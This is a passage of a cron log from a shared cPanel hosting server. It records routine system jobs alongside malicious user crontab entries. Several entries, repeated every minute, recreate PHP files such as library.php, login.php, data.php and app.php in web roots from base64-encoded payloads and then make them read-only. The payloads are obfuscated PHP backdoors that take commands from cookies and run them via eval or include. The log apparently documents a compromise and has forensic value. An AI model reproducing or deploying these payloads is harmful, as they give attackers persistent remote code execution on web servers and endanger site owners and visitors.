0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:25:01 medusa CROND[10199]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:26:01 medusa CROND[32551]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:26:01 medusa CROND[32745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:26:01 medusa CROND[335]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:26:01 medusa CROND[336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:26:01 medusa CROND[338]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:26:01 medusa CROND[337]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 08:26:01 medusa CROND[341]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:26:01 medusa CROND[348]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:26:01 medusa CROND[349]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 08:26:01 medusa CROND[360]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:26:01 medusa CROND[361]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:26:01 medusa CROND[362]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:26:01 medusa CROND[364]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:26:01 medusa CROND[365]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:27:01 medusa CROND[23032]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:27:01 medusa CROND[23071]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:27:01 medusa CROND[23077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:27:01 medusa CROND[23079]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:27:01 medusa CROND[23084]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:27:01 medusa CROND[23081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:27:01 medusa CROND[23087]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:27:01 medusa CROND[23088]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:27:01 medusa CROND[23095]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:27:01 medusa CROND[23100]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:27:01 medusa CROND[23093]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 08:27:01 medusa CROND[23110]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:28:01 medusa CROND[13163]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_summary_rpm.cronlock /usr/sbin/cloudlinux-summary rpm-packages --send --json &> /dev/null)
Mar  1 08:28:01 medusa CROND[13202]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 08:28:01 medusa CROND[13240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:28:01 medusa CROND[13271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:28:01 medusa CROND[13272]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:28:01 medusa CROND[13273]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:28:01 medusa CROND[13274]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:28:01 medusa CROND[13276]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:28:01 medusa CROND[13277]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKIC